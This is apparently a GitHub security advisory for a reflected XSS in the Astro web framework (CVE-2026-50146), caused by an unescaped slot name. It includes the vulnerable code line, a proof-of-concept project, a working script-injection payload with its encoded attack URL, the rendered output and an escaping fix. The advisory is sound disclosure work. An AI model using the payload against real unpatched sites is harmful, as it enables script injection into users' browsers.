GHSA-8hv8-536x-4wqp

Source

https://github.com/advisories/GHSA-8hv8-536x-4wqp

Import Source

https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-8hv8-536x-4wqp/GHSA-8hv8-536x-4wqp.json

JSON Data

https://api.test.osv.dev/v1/vulns/GHSA-8hv8-536x-4wqp

Aliases

CVE-2026-50146

Published

2026-06-16T14:05:06Z

Modified

2026-08-12T20:45:07Z

Severity

7.1 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N CVSS Calculator

Summary

Astro: Reflected XSS via unescaped slot name

Details

Summary

When a component uses a client:* directive, Astro inserts named slot content into a data-astro-template attribute without HTML escaping the slot name allowing an attacker to break out of the attribute context and inject arbitrary HTML, resulting in reflected XSS during SSR.

This is similar to GHSA-wrwg-2hg8-v723 but exploits a different injection point.

Vulnerable Code

packages/astro/src/runtime/server/render/component.ts:371:376

// component.ts:371
`<template data-astro-template${key !== 'default' ? `="${key}"` : ''}>${children[key]}</template>`

I found that key is interpolated directly into the attribute value without proper escaping.

Proof of Concept

For the PoC, I set up with a minimal repository with Astro 6.3.1, Node.js: v26.0.0.

astro.config.mjs

import react from '@astrojs/react';
import node from '@astrojs/node';
import { defineConfig } from 'astro/config';
export default defineConfig({
  output: 'server',
  adapter: node({ mode: 'standalone' }),
  integrations: [react()],
});

src/pages/index.astro

---
import Wrapper from '../components/Wrapper.jsx';
const slotName = Astro.url.searchParams.get('tab') ?? 'default';
---
<html><body>
  <Wrapper client:load>
    <div slot={slotName}>content</div>
  </Wrapper>
</body></html>

src/components/Wrapper.jsx

export default function Wrapper() { return null; }

Payload:

abc"></template></astro-island><img src=x onerror=confirm(document.domain)><!--

Accessing this URL will trigger the popup.

http://localhost:4321/?tab=abc%22%3E%3C%2Ftemplate%3E%3C%2Fastro-island%3E%3Cimg+src%3Dx+onerror%3Dconfirm(document.domain)%3E%3C!--

This will render in html.

<template data-astro-template="abc"></template></astro-island>
<img src=x onerror=confirm(document.domain)><!--">content</template>

Fix

I suggest leveraging the existing escape function on the slot name.

// component.ts:371
`<template data-astro-template${key !== 'default' ? `="${escapeHTML(String(key))}"` : ''}>${children[key]}</template>`

Database specific

{
    "cwe_ids": [
        "CWE-79",
        "CWE-80"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-16T14:05:06Z",
    "nvd_published_at": "2026-06-22T19:17:04Z",
    "severity": "HIGH"
}

References

Affected packages

npm / astro

Package

Name: astro; View open source insights on deps.dev
Purl: pkg:npm/astro

Affected ranges

Type: SEMVER
Events: Introduced

0 Unknown introduced version / All previous versions are affected

Fixed

6.3.3

Database specific

source

"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-8hv8-536x-4wqp/GHSA-8hv8-536x-4wqp.json"